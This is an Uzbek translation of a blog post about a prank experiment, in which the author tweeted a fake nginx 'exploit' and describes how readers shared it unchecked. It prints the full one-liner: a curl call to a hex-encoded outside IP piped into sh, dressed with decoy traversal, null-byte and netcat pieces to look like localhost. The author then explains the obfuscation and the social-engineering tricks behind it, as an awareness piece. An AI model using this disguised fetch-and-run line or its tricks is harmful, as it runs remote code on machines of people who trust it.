Soxta nginx ekspluatatsiyasi bilan ijtimoiy tajriba muvaffaqiyati

Eslatma. tarjima.: muallif 1-iyun kuni chop etilgan original eslatma axborot xavfsizligiga qiziquvchilar orasida tajriba o‘tkazishga qaror qildi. Buning uchun u veb-serverdagi oshkor etilmagan zaiflik uchun soxta ekspluatatsiya tayyorladi va uni Twitter’da joylashtirdi. Uning taxminlari - koddagi aniq yolg'onni ko'radigan mutaxassislar tomonidan darhol oshkor etilishi - nafaqat amalga oshdi ... Ular barcha kutganlardan oshib ketdi va teskari yo'nalishda: tvit ko'plab odamlar tomonidan katta qo'llab-quvvatlandi. uning tarkibini tekshiring.

Soxta nginx ekspluatatsiyasi bilan ijtimoiy tajriba muvaffaqiyati

TL; DR: Hech qanday holatda sh yoki bash da fayl quvurlarini ishlatmang. Bu sizning kompyuteringiz ustidan nazoratni yo'qotishning ajoyib usuli.

Men siz bilan 31-may kuni yaratilgan kulgili PoC ekspluatatsiyasi haqida qisqacha hikoyani baham ko'rmoqchiman. U xabarlarga javoban darhol paydo bo'ldi Alisa Esage Shevchenko, a'zo Nol kunlik tashabbus (ZDI), RCE (masofadan kodni bajarish) ga olib keladigan NGINX zaifligi haqidagi ma'lumotlar tez orada oshkor qilinadi. NGINX ko'plab veb-saytlarni quvvatlaganligi sababli, yangiliklar bomba bo'lgan bo'lishi kerak. Ammo "mas'uliyatni oshkor qilish" jarayonidagi kechikishlar tufayli sodir bo'lgan voqea tafsilotlari ma'lum emas edi - bu standart ZDI protsedurasi.

Soxta nginx ekspluatatsiyasi bilan ijtimoiy tajriba muvaffaqiyati
Tweet NGINX da zaifliklarni oshkor qilish haqida

Curl-da yangi chalkashlik texnikasi ustida ishlashni tugatgandan so'ng, men asl tvitdan iqtibos keltirdim va aniqlangan zaiflikdan foydalanadigan yagona kod qatoridan iborat "ishlaydigan PoC-ni sizdirib yubordim". Albatta, bu mutlaqo bema'nilik edi. Men darhol fosh bo'laman va eng yaxshi holatda bir nechta retvitlar olaman deb o'ylagandim (ha, yaxshi).

Soxta nginx ekspluatatsiyasi bilan ijtimoiy tajriba muvaffaqiyati
Tweet soxta ekspluatatsiya bilan

Biroq, keyin nima bo'lganini tasavvur qila olmadim. Mening tvitimning mashhurligi keskin oshdi. Ajablanarlisi shundaki, hozirda (Moskva vaqti bilan 15-iyun 00:1) bu soxta ekanligini kam odam tushungan. Ko'p odamlar uni tekshirmasdan retvit qilishadi (uning ajoyib ASCII grafikasiga qoyil qolish u yoqda tursin).

Soxta nginx ekspluatatsiyasi bilan ijtimoiy tajriba muvaffaqiyati
Qarang, u qanchalik go'zal!

Bu ko'chadan va ranglarning barchasi ajoyib bo'lsa-da, odamlar ularni ko'rish uchun o'z mashinasida kod ishlatishlari kerakligi aniq. Yaxshiyamki, brauzerlar xuddi shunday ishlaydi va men huquqiy muammoga duch kelishni istamaganligim bilan bir qatorda, mening saytimda ko'milgan kod hech qanday qo'shimcha kodni o'rnatish yoki bajarishga urinmasdan faqat aks-sado qo'ng'iroqlarini amalga oshirardi.

Kichik chekinish: netspooky, dnz, men va jamoaning boshqa yigitlari Thugcrowd Bir muncha vaqtdan beri biz curl buyruqlarini chalkashtirishning turli usullari bilan o'ynayapmiz, chunki bu juda zo'r... va biz geeksmiz. netspooky va dnz men uchun juda istiqbolli bo'lib tuyulgan bir nechta yangi usullarni kashf etdilar. Men o'yin-kulgiga qo'shildim va hiylalar sumkasiga IP o'nli konvertatsiyalarini qo'shishga harakat qildim. Ma'lum bo'lishicha, IP o'n oltilik formatga ham o'zgartirilishi mumkin. Bundan tashqari, curl va boshqa ko'pgina NIX vositalari o'n oltilik IP-larni mamnuniyat bilan iste'mol qiladilar! Shunday qilib, bu ishonchli va xavfsiz ko'rinadigan buyruq qatorini yaratish masalasi edi. Oxir-oqibat, men bunga qaror qildim:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Ijtimoiy-elektron muhandislik (SEE) - shunchaki fishing emas

Xavfsizlik va tanishlik bu tajribaning asosiy qismi edi. Menimcha, ular uning muvaffaqiyatiga olib keldi. Buyruqlar qatori "127.0.0.1" (taniqli localhost) ga murojaat qilib, xavfsizlikni aniq nazarda tutgan. Localhost xavfsiz hisoblanadi va undagi ma'lumotlar hech qachon kompyuteringizni tark etmaydi.

Tanishish tajribaning ikkinchi asosiy SEE komponenti edi. Maqsadli auditoriya birinchi navbatda kompyuter xavfsizligi asoslari bilan tanish bo'lgan odamlardan iborat bo'lganligi sababli, uning qismlari tanish va tanish (va shuning uchun xavfsiz) bo'lib tuyulishi uchun kod yaratish muhim edi. Eski ekspluatatsiya kontseptsiyalarining elementlarini olish va ularni noodatiy tarzda birlashtirish juda muvaffaqiyatli bo'ldi.

Quyida bitta chiziqning batafsil tahlili keltirilgan. Ushbu ro'yxatdagi hamma narsa kiyiladi kosmetik tabiat, va uning haqiqiy ishlashi uchun amalda hech narsa talab qilinmaydi.

Qanday komponentlar haqiqatan ham zarur? Bu -gsS, -O 0x0238f06a, |sh va veb-serverning o'zi. Veb-serverda hech qanday zararli ko'rsatmalar yo'q edi, faqat buyruqlar yordamida ASCII grafiklariga xizmat ko'rsatdi echo tarkibidagi skriptda index.html. Foydalanuvchi bilan qatorga kirganda |sh o'rtasida, index.html yuklangan va bajarilgan. Yaxshiyamki, veb-server qo'riqchilarining yomon niyatlari yo'q edi.

  • ../../../%00 — katalogdan tashqariga chiqishni ifodalaydi;
  • ngx_stream_module.so — tasodifiy NGINX moduliga yo'l;
  • /bin/sh%00<'protocol:TCP' - go'yoki ishga tushiryapmiz /bin/sh maqsadli mashinada va chiqishni TCP kanaliga yo'naltirish;
  • -O 0x0238f06a#PLToffset - maxfiy ingredient, to'ldirilgan #PLToffset, qandaydir tarzda PLT tarkibidagi xotira ofsetiga o'xshash;
  • |sh; - yana bir muhim parcha. Quyidagi manzilda joylashgan hujum qiluvchi veb-serverdan keladigan kodni bajarish uchun chiqishni sh/bash ga yo'naltirishimiz kerak edi. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat murojaat qiladigan qo'g'irchoq /dev/tcp/localhostShunday qilib, hamma narsa yana xavfsiz ko'rinadi. Aslida, u hech narsa qilmaydi va go'zallik uchun qatorga kiritilgan.

Bu bir qatorli skriptning dekodlanishi va "ijtimoiy-elektron muhandislik" (murakkab fishing) jihatlarini muhokama qilishni yakunlaydi.

Veb-server konfiguratsiyasi va qarshi choralar

Mening obunachilarimning aksariyati infosec/hackerlar bo'lganligi sababli, men veb-serverni ularning "qiziqish" ifodalariga nisbatan chidamliroq qilishga qaror qildim, shunda yigitlar nimadir qilishlari mumkin (va bu qiziqarli bo'lar edi). sozlash; o'rnatish). Tajriba hali ham davom etayotgani uchun men bu erda barcha tuzoqlarni sanab o'tmoqchi emasman, lekin bu erda server bajaradigan bir nechta narsa:

  • Muayyan ijtimoiy tarmoqlarda tarqatish urinishlarini faol ravishda kuzatib boradi va foydalanuvchini havolani bosishga undash uchun oldindan ko'rishning turli eskizlarini almashtiradi.
  • Chrome/Mozilla/Safari/etc-ni qobiq skriptini ko'rsatish o'rniga Thugcrowd reklama videosiga yo'naltiradi.
  • Ochiq bosqin/ochiq xakerlik belgilarini kuzatadi va so'ngra so'rovlarni NSA serverlariga yo'naltirishni boshlaydi (ha!).
  • Foydalanuvchilari xostga oddiy brauzerdan tashrif buyuradigan barcha kompyuterlarga troyanni, shuningdek, BIOS rootkitini o'rnatadi (shunchaki hazil!).

Soxta nginx ekspluatatsiyasi bilan ijtimoiy tajriba muvaffaqiyati
Antimerlarning kichik bir qismi

Bunday holda, mening yagona maqsadim Apache-ning ba'zi xususiyatlarini, xususan, so'rovlarni qayta yo'naltirishning ajoyib qoidalarini o'zlashtirish edi va men o'yladim: nima uchun?

NGINX Exploit (Haqiqiy!)

Obuna bo'lish @alisaesage Twitter-da va ZDI-ning NGINX-dagi juda haqiqiy zaifliklarni bartaraf etish va imkoniyatlardan foydalanish bo'yicha ajoyib ishlarini kuzatib boring. Ularning ishi meni har doim hayratda qoldirgan va men Elisga mening ahmoqona tvitim sabab bo'lgan barcha eslatmalar va bildirishnomalar bilan sabr qilgani uchun minnatdorman. Yaxshiyamki, u ham yaxshilik qildi: NGINX zaifliklari, shuningdek, curlni suiiste'mol qilish natijasida yuzaga kelgan muammolar haqida xabardorlikni oshirishga yordam berdi.

Manba: www.habr.com

a Izoh qo'shish